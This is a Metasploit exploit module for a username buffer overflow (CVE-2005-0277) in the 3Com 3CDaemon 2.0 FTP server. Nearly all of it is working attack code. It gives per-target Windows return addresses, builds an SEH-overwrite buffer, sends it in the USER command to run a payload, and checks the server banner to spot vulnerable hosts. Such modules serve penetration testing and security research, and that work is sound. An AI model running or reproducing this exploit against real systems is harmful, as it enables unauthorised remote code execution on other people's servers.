3Com 3CDaemon 2.0 FTP Username Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow',  
'Description' => %q{  
This module exploits a vulnerability in the 3Com 3CDaemon  
FTP service. This package is being distributed from the 3Com  
web site and is recommended in numerous support documents.  
This module uses the USER command to trigger the overflow.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-0277'],  
[ 'OSVDB', '12810'],  
[ 'OSVDB', '12811'],  
[ 'BID', '12155'],  
[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 674,  
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",  
'StackAdjustment' => -3500,  
'Compat' =>  
{  
'ConnectionType' => "-find"  
}  
  
},  
'Targets' =>   
[  
[   
'Windows 2000 English', # Tested OK - hdm 11/24/2005  
{  
'Platform' => 'win',  
'Ret' => 0x75022ac4, # ws2help.dll  
},  
],  
[  
'Windows XP English SP0/SP1',  
{  
'Platform' => 'win',  
'Ret' => 0x71aa32ad, # ws2help.dll  
},  
],  
[  
'Windows NT 4.0 SP4/SP5/SP6',  
{  
'Platform' => 'win',  
'Ret' => 0x77681799, # ws2help.dll  
},   
],  
[   
'Windows 2000 Pro SP4 French',   
{  
'Platform' => 'win',  
'Ret' => 0x775F29D0,  
},   
],  
  
],  
'DisclosureDate' => 'Jan 4 2005'))  
end  
  
def check  
connect  
disconnect   
if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)  
return Exploit::CheckCode::Vulnerable  
end   
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
buf = rand_text_english(2048, payload_badchars)  
seh = generate_seh_payload(target.ret)   
buf[229, seh.length] = seh  
  
send_cmd( ['USER', buf] , false )  
  
handler  
disconnect  
end  
  
end  
`